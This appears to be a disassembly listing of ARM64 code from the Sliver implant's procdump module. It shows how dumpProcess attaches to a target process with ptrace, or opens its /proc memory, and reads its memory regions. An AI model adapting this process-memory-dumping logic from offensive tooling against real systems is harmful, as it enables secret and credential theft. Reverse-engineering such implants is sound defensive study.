Similarity

00428a80
00428a80github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess: ; void github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess(int32 pid)
00428a80ldr x16, [x28+16]
00428a84sub x17, sp, 832
00428a88subs xzr, x17, x16
00428a8cb.ls 0x42969c
00428a90sub x20, sp, 960
00428a94stp x29, x30, [x20-8]
00428a98add sp, x20, 0
00428a9csub x29, sp, 8
00428aa0str w0, [sp+968]
00428aa4stp xzr, xzr, [sp+336]
00428aa8stp xzr, xzr, [sp+320]
00428aacadrp x0, 0x201000
00428ab0add x0, x0, 3552
00428ab4bl runtime.newobject
00428ab8str x0, [sp+680]
00428abcstp xzr, xzr, [x0+8]
00428ac0adrp x27, 0x623000
00428ac4ldr w1, [x27+3056]
00428ac8cbz w1, 0x428ad0
00428accb 0x428ad4
00428ad0
00428ad0loc_428ad0:
00428ad0b 0x428ae4
00428ad4
00428ad4loc_428ad4:
00428ad4ldr x1, [x0]
00428ad8bl runtime.gcWriteBarrier1
00428adcstr x1, [x25]
00428ae0b 0x428ae4
00428ae4
00428ae4loc_428ae4:
00428ae4str xzr, [x0]
00428ae8ldr x0, [sp+680]
00428aecstr x0, [sp+352]
00428af0bl github.com/bishopfox/sliver/implant/sliver/procdump.isOldKernelVersion
00428af4strb w0, [sp+76]
00428af8add x27, sp, 784
00428afcstp xzr, xzr, [x27]
00428b00bl github.com/bishopfox/sliver/implant/sliver/procdump.checkPermissions
00428b04strb w0, [sp+79]
00428b08str x1, [sp+784]
00428b0cstr x2, [sp+792]
00428b10ldrb w0, [sp+79]
00428b14strb w0, [sp+78]
00428b18ldr x0, [sp+784]
00428b1cldr x1, [sp+792]
00428b20str x0, [sp+496]
00428b24str x1, [sp+504]
00428b28ldrb w0, [sp+78]
00428b2cstrb w0, [sp+77]
00428b30ldr x0, [sp+496]
00428b34ldr x1, [sp+504]
00428b38str x0, [sp+480]
00428b3cstr x1, [sp+488]
00428b40ldrb w0, [sp+77]
00428b44eor x1, x0, 1
00428b48strb w1, [sp+79]
00428b4ctbnz w0, 0, 0x428b54
00428b50b 0x428b68
00428b54
00428b54loc_428b54:
00428b54ldr x1, [sp+480]
00428b58subs xzr, x1, 0
00428b5ccset x1, ne
00428b60strb w1, [sp+79]
00428b64b 0x428b6c
00428b68
00428b68loc_428b68:
00428b68b 0x428b6c
00428b6c
00428b6cloc_428b6c:
00428b6cldrb w1, [sp+79]
00428b70tbnz w1, 0, 0x428b78
00428b74b 0x428bc0
00428b78
00428b78loc_428b78:
00428b78ldr x0, [sp+352]
00428b7cstr x0, [sp+776]
00428b80adrp x1, 0x2ed000
00428b84add x1, x1, 2016
00428b88str x1, [sp+336]
00428b8cstr x0, [sp+344]
00428b90ldr x0, [sp+480]
00428b94ldr x1, [sp+488]
00428b98str x0, [sp+320]
00428b9cstr x1, [sp+328]
00428ba0bl runtime.deferreturn
00428ba4ldr x0, [sp+336]
00428ba8ldr x2, [sp+320]
00428bacldr x1, [sp+344]
00428bb0ldr x3, [sp+328]
00428bb4ldp x29, x30, [sp-8]
00428bb8add sp, sp, 960
00428bbcret x30
00428bc0
00428bc0loc_428bc0:
00428bc0str xzr, [sp+752]
00428bc4add x27, sp, 760
00428bc8stp xzr, xzr, [x27]
00428bccadd x27, sp, 784
00428bd0stp xzr, xzr, [x27]
00428bd4ldrsw x0, [sp+968]
00428bd8bl github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap
00428bdcstr x0, [sp+752]
00428be0str x1, [sp+760]
00428be4str x2, [sp+768]
00428be8str x3, [sp+288]
00428becstr x4, [sp+784]
00428bf0str x5, [sp+792]
00428bf4ldr x1, [sp+752]
00428bf8ldr x2, [sp+760]
00428bfcldr x3, [sp+768]
00428c00str x1, [sp+928]
00428c04str x2, [sp+936]
00428c08str x3, [sp+944]
00428c0cldr x1, [sp+288]
00428c10str x1, [sp+312]
00428c14ldr x1, [sp+784]
00428c18ldr x2, [sp+792]
00428c1cstr x1, [sp+912]
00428c20str x2, [sp+920]
00428c24ldr x1, [sp+928]
00428c28ldr x2, [sp+936]
00428c2cldr x3, [sp+944]
00428c30str x1, [sp+376]
00428c34str x2, [sp+384]
00428c38str x3, [sp+392]
00428c3cldr x1, [sp+312]
00428c40str x1, [sp+96]
00428c44ldr x1, [sp+920]
00428c48ldr x2, [sp+912]
00428c4cstr x2, [sp+480]
00428c50str x1, [sp+488]
00428c54cbnz x2, 0x428c5c
00428c58b 0x428ca4
00428c5c
00428c5cloc_428c5c:
00428c5cldr x0, [sp+352]
00428c60str x0, [sp+776]
00428c64adrp x1, 0x2ed000
00428c68add x1, x1, 2016
00428c6cstr x1, [sp+336]
00428c70str x0, [sp+344]
00428c74ldr x0, [sp+480]
00428c78ldr x1, [sp+488]
00428c7cstr x0, [sp+320]
00428c80str x1, [sp+328]
00428c84bl runtime.deferreturn
00428c88ldr x0, [sp+336]
00428c8cldr x2, [sp+320]
00428c90ldr x1, [sp+344]
00428c94ldr x3, [sp+328]
00428c98ldp x29, x30, [sp-8]
00428c9cadd sp, sp, 960
00428ca0ret x30
00428ca4
00428ca4loc_428ca4:
00428ca4ldr x2, [sp+96]
00428ca8ldr x1, [sp+96]
00428cacadrp x0, 0x1cd000
00428cb0add x0, x0, 3072
00428cb4bl runtime.makeslice
00428cb8ldr x3, [sp+96]
00428cbcldr x4, [sp+96]
00428cc0str x0, [sp+728]
00428cc4str x3, [sp+736]
00428cc8str x4, [sp+744]
00428cccldr x5, [sp+352]
00428cd0ldrsb x27, [x5]
00428cd4str x3, [x5+8]
00428cd8str x4, [x5+16]
00428cdcadrp x27, 0x623000
00428ce0ldr w3, [x27+3056]
00428ce4cbz w3, 0x428cec
00428ce8b 0x428cf0
00428cec
00428cecloc_428cec:
00428cecb 0x428d04
00428cf0
00428cf0loc_428cf0:
00428cf0bl runtime.gcWriteBarrier2
00428cf4str x0, [x25]
00428cf8ldr x2, [x5]
00428cfcstr x2, [x25+8]
00428d00b 0x428d04
00428d04
00428d04loc_428d04:
00428d04str x0, [x5]
00428d08str xzr, [sp+104]
00428d0cldrb w2, [sp+76]
00428d10tbnz w2, 0, 0x428d18
00428d14b 0x428fa0
00428d18
00428d18loc_428d18:
00428d18str xzr, [sp+720]
00428d1cadd x27, sp, 784
00428d20stp xzr, xzr, [x27]
00428d24ldrsw x1, [sp+968]
00428d28mov x0, x1
00428d2cbl os.FindProcess
00428d30str x0, [sp+720]
00428d34str x1, [sp+784]
00428d38str x2, [sp+792]
00428d3cldr x1, [sp+720]
00428d40str x1, [sp+904]
00428d44ldr x1, [sp+784]
00428d48ldr x2, [sp+792]
00428d4cstr x1, [sp+888]
00428d50str x2, [sp+896]
00428d54ldr x1, [sp+904]
00428d58str x1, [sp+408]
00428d5cldr x1, [sp+896]
00428d60ldr x2, [sp+888]
00428d64str x2, [sp+464]
00428d68str x1, [sp+472]
00428d6ccbnz x2, 0x428d74
00428d70b 0x428de4
00428d74
00428d74loc_428d74:
00428d74ldr x5, [sp+352]
00428d78str x5, [sp+776]
00428d7cadrp x0, 0x2a2000
00428d80add x0, x0, 4072
00428d84movz x1, 55
00428d88mov x2, xzr
00428d8cmov x3, xzr
00428d90mov x4, x3
00428d94bl fmt.Errorf
00428d98str x0, [sp+784]
00428d9cstr x1, [sp+792]
00428da0ldr x5, [sp+776]
00428da4adrp x6, 0x2ed000
00428da8add x6, x6, 2016
00428dacstr x6, [sp+336]
00428db0str x5, [sp+344]
00428db4ldr x5, [sp+784]
00428db8ldr x6, [sp+792]
00428dbcstr x5, [sp+320]
00428dc0str x6, [sp+328]
00428dc4bl runtime.deferreturn
00428dc8ldr x0, [sp+336]
00428dccldr x2, [sp+320]
00428dd0ldr x1, [sp+344]
00428dd4ldr x3, [sp+328]
00428dd8ldp x29, x30, [sp-8]
00428ddcadd sp, sp, 960
00428de0ret x30
00428de4
00428de4loc_428de4:
00428de4bl runtime.LockOSThread
00428de8adrp x0, 0x2b0000
00428decadd x0, x0, 1640
00428df0str x0, [sp+200]
00428df4add x0, sp, 176
00428df8bl runtime.deferprocStack
00428dfcsubs xzr, x0, 0
00428e00b.ne 0x428f80
00428e04b 0x428e08
00428e08
00428e08loc_428e08:
00428e08ldrsw x1, [sp+968]
00428e0cmov x0, x1
00428e10bl syscall.PtraceAttach
00428e14str x0, [sp+464]
00428e18str x1, [sp+472]
00428e1ccbnz x0, 0x428e24
00428e20b 0x428e9c
00428e24
00428e24loc_428e24:
00428e24ldr x5, [sp+352]
00428e28str x5, [sp+776]
00428e2cadrp x0, 0x295000
00428e30add x0, x0, 3455
00428e34orr x1, xzr, 31
00428e38mov x2, xzr
00428e3cmov x3, xzr
00428e40mov x4, x3
00428e44bl fmt.Errorf
00428e48str x0, [sp+784]
00428e4cstr x1, [sp+792]
00428e50str x0, [sp+664]
00428e54str x1, [sp+672]
00428e58ldr x5, [sp+776]
00428e5cadrp x6, 0x2ed000
00428e60add x6, x6, 2016
00428e64str x6, [sp+336]
00428e68str x5, [sp+344]
00428e6cldr x5, [sp+664]
00428e70ldr x6, [sp+672]
00428e74str x5, [sp+320]
00428e78str x6, [sp+328]
00428e7cbl runtime.deferreturn
00428e80ldr x0, [sp+336]
00428e84ldr x2, [sp+320]
00428e88ldr x1, [sp+344]
00428e8cldr x3, [sp+328]
00428e90ldp x29, x30, [sp-8]
00428e94add sp, sp, 960
00428e98ret x30
00428e9c
00428e9cloc_428e9c:
00428e9cstr xzr, [sp+712]
00428ea0add x27, sp, 784
00428ea4stp xzr, xzr, [x27]
00428ea8ldr x0, [sp+408]
00428eacbl os.(*Process).Wait
00428eb0str x0, [sp+712]
00428eb4str x1, [sp+784]
00428eb8str x2, [sp+792]
00428ebcldr x1, [sp+712]
00428ec0str x1, [sp+880]
00428ec4ldr x1, [sp+792]
00428ec8ldr x2, [sp+784]
00428eccstr x2, [sp+864]
00428ed0str x1, [sp+872]
00428ed4str x2, [sp+464]
00428ed8str x1, [sp+472]
00428edccbnz x2, 0x428ee4
00428ee0b 0x428f5c
00428ee4
00428ee4loc_428ee4:
00428ee4ldr x5, [sp+352]
00428ee8str x5, [sp+776]
00428eecadrp x0, 0x2a1000
00428ef0add x0, x0, 1158
00428ef4movz x1, 50
00428ef8mov x2, xzr
00428efcmov x3, xzr
00428f00mov x4, x3
00428f04bl fmt.Errorf
00428f08str x0, [sp+784]
00428f0cstr x1, [sp+792]
00428f10str x0, [sp+648]
00428f14str x1, [sp+656]
00428f18ldr x5, [sp+776]
00428f1cadrp x6, 0x2ed000
00428f20add x6, x6, 2016
00428f24str x6, [sp+336]
00428f28str x5, [sp+344]
00428f2cldr x5, [sp+648]
00428f30ldr x6, [sp+656]
00428f34str x5, [sp+320]
00428f38str x6, [sp+328]
00428f3cbl runtime.deferreturn
00428f40ldr x0, [sp+336]
00428f44ldr x2, [sp+320]
00428f48ldr x1, [sp+344]
00428f4cldr x3, [sp+328]
00428f50ldp x29, x30, [sp-8]
00428f54add sp, sp, 960
00428f58ret x30
00428f5c
00428f5cloc_428f5c:
00428f5cldr x5, [sp+384]
00428f60ldr x6, [sp+376]
00428f64ldr x7, [sp+392]
00428f68str x6, [sp+752]
00428f6cstr x5, [sp+760]
00428f70str x7, [sp+768]
00428f74str xzr, [sp+264]
00428f78str x5, [sp+256]
00428f7cb 0x4293c4
00428f80
00428f80loc_428f80:
00428f80bl runtime.deferreturn
00428f84ldr x0, [sp+336]
00428f88ldr x2, [sp+320]
00428f8cldr x1, [sp+344]
00428f90ldr x3, [sp+328]
00428f94ldp x29, x30, [sp-8]
00428f98add sp, sp, 960
00428f9cret x30
00428fa0
00428fa0loc_428fa0:
00428fa0ldrsw x2, [sp+968]
00428fa4mov x0, x2
00428fa8movz x1, 10
00428facbl strconv.FormatInt
00428fb0str x0, [sp+696]
00428fb4str x1, [sp+704]
00428fb8str xzr, [sp+688]
00428fbcadd x27, sp, 784
00428fc0stp xzr, xzr, [x27]
00428fc4ldr x3, [sp+696]
00428fc8ldr x4, [sp+704]
00428fccmov x0, xzr
00428fd0adrp x1, 0x288000
00428fd4add x1, x1, 2737
00428fd8orr x2, xzr, 6
00428fdcadrp x5, 0x288000
00428fe0add x5, x5, 1114
00428fe4orr x6, xzr, 4
00428fe8bl runtime.concatstring3
00428fecstr x0, [sp+584]
00428ff0str x1, [sp+592]
00428ff4bl os.Open
00428ff8str x0, [sp+688]
00428ffcstr x1, [sp+784]
00429000str x2, [sp+792]
00429004ldr x2, [sp+688]
00429008str x2, [sp+840]
0042900cldr x2, [sp+784]
00429010ldr x3, [sp+792]
00429014str x2, [sp+824]
00429018str x3, [sp+832]
0042901cldr x2, [sp+840]
00429020str x2, [sp+400]
00429024ldr x2, [sp+832]
00429028ldr x3, [sp+824]
0042902cstr x3, [sp+432]
00429030str x2, [sp+440]
00429034cbnz x3, 0x42903c
00429038b 0x4290b4
0042903c
0042903cloc_42903c:
0042903cldr x5, [sp+352]
00429040str x5, [sp+776]
00429044adrp x0, 0x293000
00429048add x0, x0, 2222
0042904cmovz x1, 29
00429050mov x2, xzr
00429054mov x3, xzr
00429058mov x4, x3
0042905cbl fmt.Errorf
00429060str x0, [sp+784]
00429064str x1, [sp+792]
00429068str x0, [sp+568]
0042906cstr x1, [sp+576]
00429070ldr x5, [sp+776]
00429074adrp x6, 0x2ec000
00429078add x6, x6, 2016
0042907cstr x6, [sp+336]
00429080str x5, [sp+344]
00429084ldr x5, [sp+568]
00429088ldr x6, [sp+576]
0042908cstr x5, [sp+320]
00429090str x6, [sp+328]
00429094bl runtime.deferreturn
00429098ldr x0, [sp+336]
0042909cldr x2, [sp+320]
004290a0ldr x1, [sp+344]
004290a4ldr x3, [sp+328]
004290a8ldp x29, x30, [sp-8]
004290acadd sp, sp, 960
004290b0ret x30
004290b4
004290b4loc_4290b4:
004290b4ldr x1, [sp+400]
004290b8str x1, [sp+816]
004290bcadd x27, sp, 544
004290c0stp xzr, xzr, [x27]
004290c4add x1, sp, 544
004290c8str x1, [sp+560]
004290ccldrsb x27, [x1]
004290d0adrp x2, 0
004290d4add x2, x2, 1712
004290d8str x2, [x1]
004290dcldrsb x27, [x1]
004290e0ldr x2, [sp+816]
004290e4adrp x27, 0x622000
004290e8ldr w3, [x27+3056]
004290eccbz w3, 0x4290f4
004290f0b 0x4290f8
004290f4
004290f4loc_4290f4:
004290f4b 0x42910c
004290f8
004290f8loc_4290f8:
004290f8bl runtime.gcWriteBarrier2
004290fcstr x2, [x25]
00429100ldr x3, [x1+8]
00429104str x3, [x25+8]
00429108b 0x42910c
0042910c
0042910cloc_42910c:
0042910cstr x2, [x1+8]
00429110str x1, [sp+152]
00429114add x0, sp, 128
00429118bl runtime.deferprocStack
0042911csubs xzr, x0, 0
00429120b.ne 0x42914c
00429124b 0x429128
00429128
00429128loc_429128:
00429128ldr x5, [sp+384]
0042912cldr x6, [sp+376]
00429130ldr x7, [sp+392]
00429134str x6, [sp+752]
00429138str x5, [sp+760]
0042913cstr x7, [sp+768]
00429140str xzr, [sp+240]
00429144str x5, [sp+232]
00429148b 0x42916c
0042914c
0042914cloc_42914c:
0042914cbl runtime.deferreturn
00429150ldr x0, [sp+336]
00429154ldr x2, [sp+320]
00429158ldr x1, [sp+344]
0042915cldr x3, [sp+328]
00429160ldp x29, x30, [sp-8]
00429164add sp, sp, 960
00429168ret x30
0042916c
0042916cloc_42916c:
0042916cldr x5, [sp+232]
00429170ldr x6, [sp+240]
00429174subs xzr, x5, x6
00429178b.gt 0x429180
0042917cb 0x429364
00429180
00429180loc_429180:
00429180ldr x5, [sp+240]
00429184ldr x6, [sp+752]
00429188ldr x5, [x6+3*x5]
0042918cstr x5, [sp+360]
00429190ldrsb x27, [x5]
00429194ldrsb x27, [x5]
00429198ldr x6, [x5+8]
0042919cldr x5, [x5]
004291a0sub x5, x6, x5
004291a4str x5, [sp+80]
004291a8ldr x5, [sp+80]
004291acldr x6, [sp+104]
004291b0add x1, x6, x5
004291b4str x1, [sp+272]
004291b8ldr x5, [sp+352]
004291bcldrsb x27, [x5]
004291c0ldr x2, [x5+16]
004291c4ldr x5, [x5]
004291c8ldr x0, [sp+104]
004291ccsubs xzr, x2, x1
004291d0b.hs 0x4291d8
004291d4b 0x4293c0
004291d8
004291d8loc_4291d8:
004291d8subs xzr, x0, x1
004291dcb.ls 0x4291e4
004291e0b 0x4293bc
004291e4
004291e4loc_4291e4:
004291e4sub x6, x2, x0
004291e8sub x7, x1, x0
004291ecsub x8, xzr, x6
004291f0and x8, x0, x8, asr #63
004291f4add x5, x5, x8
004291f8str x5, [sp+728]
004291fcstr x7, [sp+736]
00429200str x6, [sp+744]
00429204add x27, sp, 784
00429208stp xzr, xzr, [x27]
0042920cldr x5, [sp+360]
00429210ldrsb x27, [x5]
00429214ldr x5, [x5]
00429218str x5, [sp+224]
0042921cldr x4, [sp+224]
00429220ldr x0, [sp+400]
00429224ldr x1, [sp+728]
00429228ldr x2, [sp+736]
0042922cldr x3, [sp+744]
00429230bl os.(*File).ReadAt
00429234str x0, [sp+280]
00429238str x1, [sp+784]
0042923cstr x2, [sp+792]
00429240ldr x5, [sp+280]
00429244str x5, [sp+296]
00429248str x1, [sp+800]
0042924cstr x2, [sp+808]
00429250ldr x5, [sp+296]
00429254str x5, [sp+112]
00429258str x1, [sp+416]
0042925cstr x2, [sp+424]
00429260subs xzr, x1, 0
00429264cset x5, ne
00429268strb w5, [sp+79]
0042926ccbnz x1, 0x429274
00429270b 0x4292b8
00429274
00429274loc_429274:
00429274ldr x5, [sp+416]
00429278adrp x27, 0x5f8000
0042927cldr x6, [x27+1520]
00429280subs xzr, x6, x5
00429284cset x5, ne
00429288b.ne 0x429290
0042928cb 0x429294
00429290
00429290loc_429290:
00429290b 0x4292b0
00429294
00429294loc_429294:
00429294ldr x0, [sp+416]
00429298ldr x1, [sp+424]
0042929cadrp x27, 0x5f8000
004292a0ldr x2, [x27+1528]
004292a4bl runtime.ifaceeq
004292a8eor x5, x0, 1
004292acb 0x4292b0
004292b0
004292b0loc_4292b0:
004292b0strb w5, [sp+79]
004292b4b 0x4292bc
004292b8
004292b8loc_4292b8:
004292b8b 0x4292bc
004292bc
004292bcloc_4292bc:
004292bcldrb w5, [sp+79]
004292c0tbnz w5, 0, 0x4292c8
004292c4b 0x429340
004292c8
004292c8loc_4292c8:
004292c8ldr x5, [sp+352]
004292ccstr x5, [sp+776]
004292d0adrp x0, 0x292000
004292d4add x0, x0, 3236
004292d8orr x1, xzr, 28
004292dcmov x2, xzr
004292e0mov x3, xzr
004292e4mov x4, x3
004292e8bl fmt.Errorf
004292ecstr x0, [sp+784]
004292f0str x1, [sp+792]
004292f4str x0, [sp+528]
004292f8str x1, [sp+536]
004292fcldr x5, [sp+776]
00429300adrp x6, 0x2ec000
00429304add x6, x6, 2016
00429308str x6, [sp+336]
0042930cstr x5, [sp+344]
00429310ldr x5, [sp+528]
00429314ldr x6, [sp+536]
00429318str x5, [sp+320]
0042931cstr x6, [sp+328]
00429320bl runtime.deferreturn
00429324ldr x0, [sp+336]
00429328ldr x2, [sp+320]
0042932cldr x1, [sp+344]
00429330ldr x3, [sp+328]
00429334ldp x29, x30, [sp-8]
00429338add sp, sp, 960
0042933cret x30
00429340
00429340loc_429340:
00429340ldr x5, [sp+112]
00429344ldr x6, [sp+104]
00429348add x5, x6, x5
0042934cstr x5, [sp+104]
00429350b 0x429354
00429354
00429354loc_429354:
00429354ldr x5, [sp+240]
00429358add x5, x5, 1
0042935cstr x5, [sp+240]
00429360b 0x42916c
00429364
00429364loc_429364:
00429364b 0x429368
00429368
00429368loc_429368:
00429368ldr x0, [sp+352]
0042936cstr x0, [sp+776]
00429370add x27, sp, 512
00429374stp xzr, xzr, [x27]
00429378ldr x0, [sp+776]
0042937cadrp x1, 0x2ec000
00429380add x1, x1, 2016
00429384str x1, [sp+336]
00429388str x0, [sp+344]
0042938cldr x0, [sp+512]
00429390ldr x1, [sp+520]
00429394str x0, [sp+320]
00429398str x1, [sp+328]
0042939cbl runtime.deferreturn
004293a0ldr x0, [sp+336]
004293a4ldr x2, [sp+320]
004293a8ldr x1, [sp+344]
004293acldr x3, [sp+328]
004293b0ldp x29, x30, [sp-8]
004293b4add sp, sp, 960
004293b8ret x30
004293bc
004293bcloc_4293bc:
004293bcbl runtime.panicSliceB
004293c0
004293c0loc_4293c0:
004293c0bl runtime.panicSliceAcap
004293c4
004293c4loc_4293c4:
004293c4ldr x5, [sp+256]
004293c8ldr x6, [sp+264]
004293ccsubs xzr, x5, x6
004293d0b.gt 0x4293d8
004293d4b 0x429560
004293d8
004293d8loc_4293d8:
004293d8ldr x5, [sp+264]
004293dcldr x6, [sp+752]
004293e0ldr x5, [x6+3*x5]
004293e4str x5, [sp+368]
004293e8ldrsb x27, [x5]
004293ecldrsb x27, [x5]
004293f0ldr x6, [x5+8]
004293f4ldr x5, [x5]
004293f8sub x5, x6, x5
004293fcstr x5, [sp+88]
00429400ldr x5, [sp+88]
00429404ldr x6, [sp+104]
00429408add x1, x6, x5
0042940cstr x1, [sp+280]
00429410ldr x5, [sp+352]
00429414ldrsb x27, [x5]
00429418ldr x2, [x5+16]
0042941cldr x5, [x5]
00429420ldr x0, [sp+104]
00429424subs xzr, x2, x1
00429428b.hs 0x429430
0042942cb 0x429694
00429430
00429430loc_429430:
00429430subs xzr, x0, x1
00429434b.ls 0x42943c
00429438b 0x429690
0042943c
0042943cloc_42943c:
0042943csub x6, x2, x0
00429440sub x7, x1, x0
00429444sub x8, xzr, x6
00429448and x8, x0, x8, asr #63
0042944cadd x5, x5, x8
00429450str x5, [sp+728]
00429454str x7, [sp+736]
00429458str x6, [sp+744]
0042945cadd x27, sp, 784
00429460stp xzr, xzr, [x27]
00429464ldr x5, [sp+368]
00429468ldrsb x27, [x5]
0042946cldr x5, [x5]
00429470str x5, [sp+248]
00429474ldr x1, [sp+248]
00429478ldr x2, [sp+728]
0042947cldr x3, [sp+736]
00429480ldr x4, [sp+744]
00429484ldrsw x5, [sp+968]
00429488mov x0, x5
0042948cbl syscall.PtracePeekData
00429490str x0, [sp+272]
00429494str x1, [sp+784]
00429498str x2, [sp+792]
0042949cldr x5, [sp+272]
004294a0str x5, [sp+304]
004294a4str x1, [sp+848]
004294a8str x2, [sp+856]
004294acldr x5, [sp+304]
004294b0str x5, [sp+120]
004294b4str x1, [sp+448]
004294b8str x2, [sp+456]
004294bccbnz x1, 0x4294c4
004294c0b 0x42953c
004294c4
004294c4loc_4294c4:
004294c4ldr x5, [sp+352]
004294c8str x5, [sp+776]
004294ccadrp x0, 0x292000
004294d0add x0, x0, 3236
004294d4orr x1, xzr, 28
004294d8mov x2, xzr
004294dcmov x3, xzr
004294e0mov x4, x3
004294e4bl fmt.Errorf
004294e8str x0, [sp+784]
004294ecstr x1, [sp+792]
004294f0str x0, [sp+632]
004294f4str x1, [sp+640]
004294f8ldr x5, [sp+776]
004294fcadrp x6, 0x2ec000
00429500add x6, x6, 2016
00429504str x6, [sp+336]
00429508str x5, [sp+344]
0042950cldr x5, [sp+632]
00429510ldr x6, [sp+640]
00429514str x5, [sp+320]
00429518str x6, [sp+328]
0042951cbl runtime.deferreturn
00429520ldr x0, [sp+336]
00429524ldr x2, [sp+320]
00429528ldr x1, [sp+344]
0042952cldr x3, [sp+328]
00429530ldp x29, x30, [sp-8]
00429534add sp, sp, 960
00429538ret x30
0042953c
0042953cloc_42953c:
0042953cldr x5, [sp+120]
00429540ldr x6, [sp+104]
00429544add x5, x6, x5
00429548str x5, [sp+104]
0042954cb 0x429550
00429550
00429550loc_429550:
00429550ldr x5, [sp+264]
00429554add x5, x5, 1
00429558str x5, [sp+264]
0042955cb 0x4293c4
00429560
00429560loc_429560:
00429560ldrsw x2, [sp+968]
00429564mov x0, x2
00429568movz x1, 18
0042956cbl syscall.Kill
00429570str x0, [sp+464]
00429574str x1, [sp+472]
00429578cbnz x0, 0x429580
0042957cb 0x4295f8
00429580
00429580loc_429580:
00429580ldr x5, [sp+352]
00429584str x5, [sp+776]
00429588adrp x0, 0x2a6000
0042958cadd x0, x0, 3218
00429590movz x1, 82
00429594mov x2, xzr
00429598mov x3, xzr
0042959cmov x4, x3
004295a0bl fmt.Errorf
004295a4str x0, [sp+784]
004295a8str x1, [sp+792]
004295acstr x0, [sp+616]
004295b0str x1, [sp+624]
004295b4ldr x5, [sp+776]
004295b8adrp x6, 0x2ec000
004295bcadd x6, x6, 2016
004295c0str x6, [sp+336]
004295c4str x5, [sp+344]
004295c8ldr x5, [sp+616]
004295ccldr x6, [sp+624]
004295d0str x5, [sp+320]
004295d4str x6, [sp+328]
004295d8bl runtime.deferreturn
004295dcldr x0, [sp+336]
004295e0ldr x2, [sp+320]
004295e4ldr x1, [sp+344]
004295e8ldr x3, [sp+328]
004295ecldp x29, x30, [sp-8]
004295f0add sp, sp, 960
004295f4ret x30
004295f8
004295f8loc_4295f8:
004295f8ldrsw x1, [sp+968]
004295fcmov x0, x1
00429600bl syscall.PtraceDetach
00429604str x0, [sp+464]
00429608str x1, [sp+472]
0042960ccbnz x0, 0x429614
00429610b 0x42968c
00429614
00429614loc_429614:
00429614ldr x5, [sp+352]
00429618str x5, [sp+776]
0042961cadrp x0, 0x2a7000
00429620add x0, x0, 621
00429624movz x1, 85
00429628mov x2, xzr
0042962cmov x3, xzr
00429630mov x4, x3
00429634bl fmt.Errorf
00429638str x0, [sp+784]
0042963cstr x1, [sp+792]
00429640str x0, [sp+600]
00429644str x1, [sp+608]
00429648ldr x5, [sp+776]
0042964cadrp x6, 0x2ec000
00429650add x6, x6, 2016
00429654str x6, [sp+336]
00429658str x5, [sp+344]
0042965cldr x5, [sp+600]
00429660ldr x6, [sp+608]
00429664str x5, [sp+320]
00429668str x6, [sp+328]
0042966cbl runtime.deferreturn
00429670ldr x0, [sp+336]
00429674ldr x2, [sp+320]
00429678ldr x1, [sp+344]
0042967cldr x3, [sp+328]
00429680ldp x29, x30, [sp-8]
00429684add sp, sp, 960
00429688ret x30
0042968c
0042968cloc_42968c:
0042968cb 0x429368
00429690
00429690loc_429690:
00429690bl runtime.panicSliceB
00429694
00429694loc_429694:
00429694bl runtime.panicSliceAcap
00429698hint
0042969c
0042969cloc_42969c:
0042969cstr w0, [sp+8]
004296a0mov x3, x30
004296a4bl runtime.morestack_noctxt.abi0
004296a8ldrsw x0, [sp+8]
004296acb 0x428a80
00428a80

004296b0
004296b0github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess.deferwrap1(void)
004296b0ldr x16, [x28+16]
004296b4subs xzr, sp, x16
004296b8b.ls 0x4296e8
004296bcstr x30, [sp-32]!
004296c0stur x29, [sp-8]
004296c4sub x29, sp, 8
004296c8ldr x16, [x28+32]
004296cccbnz x16, 0x4296f4
004296d0
004296d0loc_4296d0:
004296d0ldr x0, [x26+8]
004296d4str x0, [sp+16]
004296d8bl os.(*File).Close
004296dcldur x29, [sp-8]
004296e0ldr x30, [sp], 32
004296e4ret x30
004296e8
004296e8loc_4296e8:
004296e8mov x3, x30
004296ecbl runtime.morestack.abi0
004296f0b 0x4296b0
004296f4
004296f4loc_4296f4:
004296f4ldr x17, [x16]
004296f8add x20, sp, 40
004296fcsubs xzr, x20, x17
00429700b.ne 0x4296d0
00429704add x20, sp, 8
00429708str x20, [x16]
0042970cb 0x4296d0
004296b0

00429710
00429710type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion: ; void type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion(github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * p, github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * q)
00429710ldr x16, [x28+16]
00429714subs xzr, sp, x16
00429718b.ls 0x42980c
0042971cstr x30, [sp-80]!
00429720stur x29, [sp-8]
00429724sub x29, sp, 8
00429728str x0, [sp+88]
0042972cstr x1, [sp+96]
00429730strb wzr, [sp+39]
00429734ldr x3, [sp+88]
00429738ldr x3, [x3]
0042973cldr x4, [sp+96]
00429740ldr x4, [x4]
00429744subs xzr, x4, x3
00429748b.eq 0x429750
0042974cb 0x4297f0
00429750
00429750loc_429750:
00429750ldr x3, [sp+88]
00429754ldr x4, [sp+96]
00429758ldr x3, [x3+8]
0042975cldr x4, [x4+8]
00429760subs xzr, x4, x3
00429764b.eq 0x42976c
00429768b 0x4297ec
0042976c
0042976cloc_42976c:
0042976cldr x3, [sp+88]
00429770ldr x4, [sp+96]
00429774ldrb w3, [x3+16]
00429778ldrb w4, [x4+16]
0042977ceor x3, x3, x4
00429780eor x3, x3, 1
00429784tbnz w3, 0, 0x42978c
00429788b 0x4297e8
0042978c
0042978cloc_42978c:
0042978cldr x3, [sp+88]
00429790ldr x3, [x3+32]
00429794str x3, [sp+48]
00429798ldr x4, [x1+32]
0042979cstr x4, [sp+40]
004297a0subs xzr, x3, x4
004297a4b.eq 0x4297ac
004297a8b 0x4297e4
004297ac
004297acloc_4297ac:
004297acldr x3, [sp+88]
004297b0ldr x3, [x3+32]
004297b4str x3, [sp+40]
004297b8ldr x3, [sp+88]
004297bcldr x3, [x3+24]
004297c0str x3, [sp+64]
004297c4ldr x3, [sp+96]
004297c8ldr x1, [x3+24]
004297ccstr x1, [sp+56]
004297d0ldr x2, [sp+40]
004297d4ldr x0, [sp+64]
004297d8bl runtime.memequal
004297dcstrb w0, [sp+39]
004297e0b 0x4297fc
004297e4
004297e4loc_4297e4:
004297e4b 0x4297f4
004297e8
004297e8loc_4297e8:
004297e8b 0x4297f4
004297ec
004297ecloc_4297ec:
004297ecb 0x4297f4
004297f0
004297f0loc_4297f0:
